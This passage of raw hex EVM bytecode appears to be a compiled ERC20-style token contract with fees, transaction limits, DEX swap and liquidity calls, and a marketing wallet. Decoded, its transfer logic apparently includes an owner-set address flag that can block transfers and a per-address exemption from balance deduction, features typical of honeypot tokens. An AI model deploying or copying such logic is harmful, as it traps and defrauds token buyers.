815260200160002060006101000a81548160ff0219169083151502179055506001601a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601a600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601b6000620005c3620007c560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601b600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620007523382620007ef60201b60201c565b5050505050505050505062001188565b600033905090565b80601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000861576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008589062001138565b60405180910390fd5b62000875600083836200096760201b60201c565b80600260008282546200088991906200109c565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620008e091906200109c565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200094791906200116b565b60405180910390a362000963600083836200096c60201b60201c565b5050565b505050565b505050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620009da826200098f565b810181811067ffffffffffffffff82111715620009fc57620009fb620009a0565b5b80604052505050565b600062000a1162000971565b905062000a1f8282620009cf565b919050565b600067ffffffffffffffff82111562000a425762000a41620009a0565b5b62000a4d826200098f565b9050602081019050919050565b60005b8381101562000a7a57808201518184015260208101905062000a5d565b60008484015250505050565b600062000a9d62000a978462000a24565b62000a05565b90508281526020810184848401111562000abc5762000abb6200098a565b5b62000ac984828562000a5a565b509392505050565b600082601f83011262000ae95762000ae862000985565b5b815162000afb84826020860162000a86565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000b318262000b04565b9050919050565b62000b438162000b24565b811462000b4f57600080fd5b50565b60008151905062000b638162000b38565b92915050565b6000806000806080858703121562000b865762000b856200097b565b5b600085015167ffffffffffffffff81111562000ba75762000ba662000980565b5b62000bb58782880162000ad1565b945050602085015167ffffffffffffffff81111562000bd95762000bd862000980565b5b62000be78782880162000ad1565b935050604062000bfa8782880162000b52565b925050606062000c0d8782880162000b52565b91505092959194509250565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000c6c57607f821691505b60208210810362000c825762000c8162000c24565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000cec7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000cad565b62000cf8868362000cad565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000d4562000d3f62000d398462000d10565b62000d1a565b62000d10565b9050919050565b6000819050919050565b62000d618362000d24565b62000d7962000d708262000d4c565b84845462000cba565b825550505050565b600090565b62000d9062000d81565b62000d9d81848462000d56565b505050565b5b8181101562000dc55762000db960008262000d86565b60018101905062000da3565b5050565b601f82111562000e145762000dde8162000c88565b62000de98462000c9d565b8101602085101562000df9578190505b62000e1162000e088562000c9d565b83018262000da2565b50505b505050565b600082821c905092915050565b600062000e396000198460080262000e19565b1980831691505092915050565b600062000e54838362000e26565b9150826002028217905092915050565b62000e6f8262000c19565b67ffffffffffffffff81111562000e8b5762000e8a620009a0565b5b62000e97825462000c53565b62000ea482828562000dc9565b600060209050601f83116001811462000edc576000841562000ec7578287015190505b62000ed3858262000e46565b86555062000f43565b601f19841662000eec8662000c88565b60005b8281101562000f165784890151825560018201915060208501945060208101905062000eef565b8683101562000f36578489015162000f32601f89168262000e26565b8355505b6001600288020188555050505b505050505050565b60006020828403121562000f645762000f636200097b565b5b600062000f748482850162000b52565b91505092915050565b62000f888162000b24565b82525050565b600060408201905062000fa5600083018562000f7d565b62000fb4602083018462000f7d565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000ff78262000d10565b9150620010048362000d10565b9250828202620010148162000d10565b915082820484148315176200102e576200102d62000fbb565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620010718262000d10565b91506200107e8362000d10565b92508262001091576200109062001035565b5b828204905092915050565b6000620010a98262000d10565b9150620010b68362000d10565b9250828201905080821115620010d157620010d062000fbb565b5b92915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062001120601f83620010d7565b91506200112d82620010e8565b602082019050919050565b60006020820190508181036000830152620011538162001111565b9050919050565b620011658162000d10565b82525050565b60006020820190506200118260008301846200115a565b92915050565b60805160a05161433c620011ed60003960008181610eb90152818161247d015281816128fe015281816129b701526129e4015260008181610b7d01528181612dfb01528181612edc01528181612f0301528181612f9f0152612fc6015261433c6000f3fe6080604052600436106102765760003560e01c8063715018a61161014f578063b62496f5116100c1578063e2f456051161007a578063e2f45605146109a7578063e5c96aa4146109d2578063f11a24d3146109fb578063f2fde38b14610a26578063f637434214610a4f578063f8b45b0514610a7a5761027d565b8063b62496f514610885578063c18bc195146108c2578063c8c8ebe4146108eb578063d43a632f14610916578063d85ba0631461093f578063dd62ed3e1461096a5761027d565b806395d89b411161011357806395d89b41146107615780639d1f645a1461078c5780639ec22c0e146107b5578063a457c2d7146107e0578063a4c82a001461081d578063a9059cbb146108485761027d565b8063715018a61461069e57806375f0a874146106b55780637bce5a04146106e05780638da5cb5b1461070b57806392136913146107365761027d565b806323b872dd116101e857806339509351116101ac578063395093511461056657806349bd5a5e146105a35780634a62bb65146105ce5780634fbee193146105f95780636a486a8e1461063657806370a08231146106615761027d565b806323b872dd1461047d57806327c8f835146104ba5780632c3e486c146104e55780632e82f1a014610510578063313ce5671461053b5761027d565b806318160ddd1161023a57806318160ddd1461037d578063184c16c5146103a8578063199ffc72146103d35780631a8145bb146103fe5780631f3fed8f14610429578063203e727e146104545761027d565b806304f77cfa1461028257806306fdde03146102ad578063095ea7b3146102d857806310d5de53146103155780631694505e146103525761027d565b3661027d57005b600080fd5b34801561028e57600080fd5b50610297610aa5565b6040516102a49190613098565b60405180910390f35b3480156102b957600080fd5b506102c2610aab565b6040516102cf9190613143565b60405180910390f35b3480156102e457600080fd5b506102ff60048036038101906102fa9190613203565b610b3d565b60405161030c919061325e565b60405180910390f35b34801561032157600080fd5b5061033c60048036038101906103379190613279565b610b5b565b604051610349919061325e565b60405180910390f35b34801561035e57600080fd5b50610367610b7b565b6040516103749190613305565b60405180910390f35b34801561038957600080fd5b50610392610b9f565b60405161039f9190613098565b60405180910390f35b3480156103b457600080fd5b506103bd610ba9565b6040516103ca9190613098565b60405180910390f35b3480156103df57600080fd5b506103e8610baf565b6040516103f59190613098565b60405180910390f35b34801561040a57600080fd5b50610413610bb5565b6040516104209190613098565b60405180910390f35b34801561043557600080fd5b5061043e610bbb565b60405161044b9190613098565b60405180910390f35b34801561046057600080fd5b5061047b60048036038101906104769190613320565b610bc1565b005b34801561048957600080fd5b506104a4600480360381019061049f919061334d565b610ceb565b6040516104b1919061325e565b60405180910390f35b3480156104c657600080fd5b506104cf610de3565b6040516104dc91906133af565b60405180910390f35b3480156104f157600080fd5b506104fa610de9565b6040516105079190613098565b60405180910390f35b34801561051c57600080fd5b50610525610def565b604051610532919061325e565b60405180910390f35b34801561054757600080fd5b50610550610e02565b60405161055d91906133e6565b60405180910390f35b34801561057257600080fd5b5061058d60048036038101906105889190613203565b610e0b565b60405161059a919061325e565b60405180910390f35b3480156105af57600080fd5b506105b8610eb7565b6040516105c591906133af565b60405180910390f35b3480156105da57600080fd5b506105e3610edb565b6040516105f0919061325e565b60405180910390f35b34801561060557600080fd5b50610620600480360381019061061b9190613279565b610eee565b60405161062d919061325e565b60405180910390f35b34801561064257600080fd5b5061064b610f44565b6040516106589190613098565b60405180910390f35b34801561066d57600080fd5b5061068860048036038101906106839190613279565b610f4a565b6040516106959190613098565b60405180910390f35b3480156106aa57600080fd5b506106b3610f92565b005b3480156106c157600080fd5b506106ca6110ea565b6040516106d791906133af565b60405180910390f35b3480156106ec57600080fd5b506106f5611110565b6040516107029190613098565b60405180910390f35b34801561071757600080fd5b50610720611116565b60405161072d91906133af565b60405180910390f35b34801561074257600080fd5b5061074b611140565b6040516107589190613098565b60405180910390f35b34801561076d57600080fd5b50610776611146565b6040516107839190613143565b60405180910390f35b34801561079857600080fd5b506107b360048036038101906107ae919061342d565b6111d8565b005b3480156107c157600080fd5b506107ca6112ca565b6040516107d79190613098565b60405180910390f35b3480156107ec57600080fd5b5061080760048036038101906108029190613203565b6112d0565b604051610814919061325e565b60405180910390f35b34801561082957600080fd5b506108326113bb565b60405161083f9190613098565b60405180910390f35b34801561085457600080fd5b5061086f600480360381019061086a9190613203565b6113c1565b60405161087c919061325e565b60405180910390f35b34801561089157600080fd5b506108ac60048036038101906108a79190613279565b6113df565b6040516108b9919061325e565b60405180910390f35b3480156108ce57600080fd5b506108e960048036038101906108e49190613320565b6113ff565b005b3480156108f757600080fd5b50610900611503565b60405161090d9190613098565b60405180910390f35b34801561092257600080fd5b5061093d600480360381019061093891906135b5565b611509565b005b34801561094b57600080fd5b5061095461159e565b6040516109619190613098565b60405180910390f35b34801561097657600080fd5b50610991600480360381019061098c91906135fe565b6115a4565b60405161099e9190613098565b60405180910390f35b3480156109b357600080fd5b506109bc61162b565b6040516109c99190613098565b60405180910390f35b3480156109de57600080fd5b506109f960048036038101906109f4919061342d565b611631565b005b348015610a0757600080fd5b50610a10611723565b604051610a1d9190613098565b60405180910390f35b348015610a3257600080fd5b50610a4d6004803603810190610a489190613279565b611729565b005b348015610a5b57600080fd5b50610a646118ef565b604051610a719190613098565b60405180910390f35b348015610a8657600080fd5b50610a8f6118f5565b604051610a9c9190613098565b60405180910390f35b60185481565b606060038054610aba9061366d565b80601f0160208091040260200160405190810160405280929190818152602001828054610ae69061366d565b8015610b335780601f10610b0857610100808354040283529160200191610b33565b820191906000526020600020905b815481529060010190602001808311610b1657829003601f168201915b5050505050905090565b6000610b51610b4a6118fb565b8484611903565b6001905092915050565b601b6020528060005260406000206000915054906101000a900460ff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600254905090565b600e5481565b600b5481565b60175481565b60165481565b610bc96118fb565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4f906136ea565b60405180910390fd5b670de0b6b3a76400006103e86001610c6e610b9f565b610c789190613739565b610c8291906137aa565b610c8c91906137aa565b811015610cce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc59061384d565b60405180910390fd5b670de0b6b3a764000081610ce29190613739565b60088190555050565b6000610cf8848484611acc565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610d436118fb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610dc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dba906138df565b60405180910390fd5b610dd785610dcf6118fb565b858403611903565b60019150509392505050565b61dead81565b600c5481565b600a60009054906101000a900460ff1681565b60006009905090565b6000610ead610e186118fb565b848460016000610e266118fb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ea891906138ff565b611903565b6001905092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b601960009054906101000a900460ff1681565b6000601a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60135481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610f9a6118fb565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611029576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611020906136ea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60115481565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60145481565b6060600480546111559061366d565b80601f01602080910402602001604051908101604052809291908181526020018280546111819061366d565b80156111ce5780601f106111a3576101008083540402835291602001916111ce565b820191906000526020600020905b8154815290600101906020018083116111b157829003601f168201915b5050505050905090565b6111e06118fb565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461126f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611266906136ea565b60405180910390fd5b80601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600f5481565b600080600160006112df6118fb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561139c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611393906139a5565b60405180910390fd5b6113b06113a76118fb565b85858403611903565b600191505092915050565b600d5481565b60006113d56113ce6118fb565b8484611acc565b6001905092915050565b601c6020528060005260406000206000915054906101000a900460ff1681565b6114076118fb565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148d906136ea565b60405180910390fd5b60058110156114da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d190613a37565b60405180910390fd5b6103e86114e5610b9f565b826114f09190613739565b6114fa91906137aa565b60098190555050565b60085481565b60005b815181101561159a576001601e600084848151811061152e5761152d613a57565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061159290613a86565b91505061150c565b5050565b60105481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60075481565b6116396118fb565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bf906136ea565b60405180910390fd5b80601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60125481565b6117316118fb565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b7906136ea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361182f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182690613b40565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60155481565b60095481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611972576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196990613bd2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036119e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d890613c64565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611abf9190613098565b60405180910390a3505050565b601960009054906101000a900460ff1615611ed257611ae9611116565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b575750611b27611116565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b905750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611bca575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611be35750600560149054906101000a900460ff16155b15611ed157601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611c8b5750601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d3257600854811115611cd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ccc90613cf6565b60405180910390fd5b600954611ce183610f4a565b82611cec91906138ff565b1115611d2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2490613d62565b60405180910390fd5b611ed0565b601c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611dd55750601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e2457600854811115611e1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1690613df4565b60405180910390fd5b611ecf565b601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611ece57600954611e8183610f4a565b82611e8c91906138ff565b1115611ecd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec490613d62565b60405180910390fd5b5b5b5b5b5b6000611edd30610f4a565b905060006007548210159050808015611f035750600560149054906101000a900460ff16155b8015611f595750601c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611faf5750601a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120055750601a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612049576001600560146101000a81548160ff02191690831515021790555061202d6126c8565b6000600560146101000a81548160ff0219169083151502179055505b600560149054906101000a900460ff161580156120af5750601c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80156120c75750600a60009054906101000a900460ff165b80156120e25750600c54600d546120de91906138ff565b4210155b80156121385750601a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612147576121456128d5565b505b6000600560149054906101000a900460ff16159050601a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806121fd5750601a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561220757600090505b6000811561241a57601c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561226a57506000601354115b1561230457612297606461228960135488612a9b90919063ffffffff16565b612ab190919063ffffffff16565b9050601354601554826122aa9190613739565b6122b491906137aa565b601760008282546122c591906138ff565b92505081905550601354601454826122dd9190613739565b6122e791906137aa565b601660008282546122f891906138ff565b925050819055506123f6565b601c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561235f57506000601054115b156123f55761238c606461237e60105488612a9b90919063ffffffff16565b612ab190919063ffffffff16565b90506010546012548261239f9190613739565b6123a991906137aa565b601760008282546123ba91906138ff565b92505081905550601054601154826123d29190613739565b6123dc91906137aa565b601660008282546123ed91906138ff565b925050819055505b5b600081111561240b5761240a873083612ac7565b5b80856124179190613e14565b94505b6000601d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541480156124b557508673ffffffffffffffffffffffffffffffffffffffff167f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1614155b801561250a5750601e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561256857601854601d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546125609190613e14565b925050819055505b6000601d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540361260557846000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546125fd9190613e14565b925050819055505b846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461265391906138ff565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516126b79190613098565b60405180910390a350505050505050565b60006126d330610f4a565b905060006016546017546126e791906138ff565b90506000808314806126f95750600082145b15612706575050506128d3565b60146007546127159190613739565b83111561272e57601460075461272b9190613739565b92505b6000600283601754866127419190613739565b61274b91906137aa565b61275591906137aa565b9050600061276c8286612d4690919063ffffffff16565b9050600047905061277c82612d5c565b60006127918247612d4690919063ffffffff16565b905060006127bc876127ae60165485612a9b90919063ffffffff16565b612ab190919063ffffffff16565b9050600081836127cc9190613e14565b9050600060178190555060006016819055506000861180156127ee5750600081115b1561283b576127fd8682612f99565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561858260175460405161283293929190613e48565b60405180910390a15b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff164760405161288190613eb0565b60006040518083038185875af1925050503d80600081146128be576040519150601f19603f3d011682016040523d82523d6000602084013e6128c3565b606091505b5050809750505050505050505050505b565b600042600d8190555060003073ffffffffffffffffffffffffffffffffffffffff166370a082317f00000000000000000000000000000000000000000000000000000000000000006040518263ffffffff1660e01b815260040161293991906133af565b602060405180830381865afa158015612956573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061297a9190613eda565b905060006129a7612710612999600b5485612a9b90919063ffffffff16565b612ab190919063ffffffff16565b905060008111156129e0576129df7f000000000000000000000000000000000000000000000000000000000000000061dead83612ac7565b5b60007f000000000000000000000000000000000000000000000000000000000000000090508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b158015612a4d57600080fd5b505af1158015612a61573d6000803e3d6000fd5b505050507f454c91ae84fcc766ddda0dcb289f26b3d0176efeacf4061fc219fa6ca8c3048d60405160405180910390a16001935050505090565b60008183612aa99190613739565b905092915050565b60008183612abf91906137aa565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612b36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b2d90613f79565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612ba5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b9c9061400b565b60405180910390fd5b612bb0838383613075565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612c36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c2d9061409d565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612cc991906138ff565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612d2d9190613098565b60405180910390a3612d4084848461307a565b50505050565b60008183612d549190613e14565b905092915050565b6000600267ffffffffffffffff811115612d7957612d78613472565b5b604051908082528060200260200182016040528015612da75781602001602082028036833780820191505090505b5090503081600081518110612dbf57612dbe613a57565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612e64573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e8891906140d2565b81600181518110612e9c57612e9b613a57565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612f01307f000000000000000000000000000000000000000000000000000000000000000084611903565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612f639594939291906141f8565b600060405180830381600087803b158015612f7d57600080fd5b505af1158015612f91573d6000803e3d6000fd5b505050505050565b612fc4307f000000000000000000000000000000000000000000000000000000000000000084611903565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061dead426040518863ffffffff1660e01b815260040161302b96959493929190614252565b60606040518083038185885af1158015613049573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061306e91906142b3565b5050505050565b505050565b505050565b6000819050919050565b6130928161307f565b82525050565b60006020820190506130ad6000830184613089565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156130ed5780820151818401526020810190506130d2565b60008484015250505050565b6000601f19601f8301169050919050565b6000613115826130b3565b61311f81856130be565b935061312f8185602086016130cf565b613138816130f9565b840191505092915050565b6000602082019050818103600083015261315d818461310a565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006131a482613179565b9050919050565b6131b481613199565b81146131bf57600080fd5b50565b6000813590506131d1816131ab565b92915050565b6131e08161307f565b81146131eb57600080fd5b50565b6000813590506131fd816131d7565b92915050565b6000806040838503121561321a5761321961316f565b5b6000613228858286016131c2565b9250506020613239858286016131ee565b9150509250929050565b60008115159050919050565b61325881613243565b82525050565b6000602082019050613273600083018461324f565b92915050565b60006020828403121561328f5761328e61316f565b5b600061329d848285016131c2565b91505092915050565b6000819050919050565b60006132cb6132c66132c184613179565b6132a6565b613179565b9050919050565b60006132dd826132b0565b9050919050565b60006132ef826132d2565b9050919050565b6132ff816132e4565b82525050565b600060208201905061331a60008301846132f6565b92915050565b6000602082840312156133365761333561316f565b5b6000613344848285016131ee565b91505092915050565b6000806000606084860312156133665761336561316f565b5b6000613374868287016131c2565b9350506020613385868287016131c2565b9250506040613396868287016131ee565b9150509250925092565b6133a981613199565b82525050565b60006020820190506133c460008301846133a0565b92915050565b600060ff82169050919050565b6133e0816133ca565b82525050565b60006020820190506133fb60008301846133d7565b92915050565b61340a8161